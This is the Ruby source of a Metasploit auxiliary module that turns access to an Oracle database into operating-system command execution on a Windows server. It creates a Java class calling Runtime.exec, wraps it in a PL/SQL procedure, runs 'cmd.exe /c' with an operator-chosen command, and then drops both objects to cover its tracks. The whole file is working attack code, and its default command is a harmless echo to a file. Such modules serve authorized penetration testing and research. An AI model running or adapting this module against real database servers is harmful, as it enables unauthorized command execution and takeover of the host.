##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::ORACLE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Java execCommand (Win32)',
      'Description'    => %q{
          This module will create a java class which enables the execution of OS commands.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://www.metasploit.com/users/mc' ],
        ],
      'DisclosureDate' => 'Dec 7 2007'))

      register_options(
        [
          OptString.new('CMD', [ false, 'The OS command to execute.',  'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),
        ])
  end

  def run
    return if not check_dependencies

    source = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    name   = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

    java = "
      create or replace and resolve java source named \"#{source}\" as
      import java.lang.*;
      import java.io.*;
      public class #{source}
      {
      public static void execCommand (String command) throws IOException
      {
      Runtime.getRuntime().exec(command);
      }
      };
      "

    procedure = "
      create or replace procedure #{name} (p_command in varchar2)
      as language java
      name '#{source}.execCommand (java.lang.String)';
      "

    exec      = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"

    drops     = "drop java source #{source}"

    dropp     = "drop procedure #{name}"

    begin
      print_status("Creating java source '#{source}'...")
      prepare_exec(java)
    rescue => e
      return
    end

    print_status("Creating procedure '#{name}'...")
    prepare_exec(procedure)

    print_status("Sending command: '#{datastore['CMD']}'")
    prepare_exec(exec)

    print_status("Removing java source '#{source}'...")
    prepare_exec(drops)

    print_status("Removing procedure '#{name}'...")
    prepare_exec(dropp)

  end
end
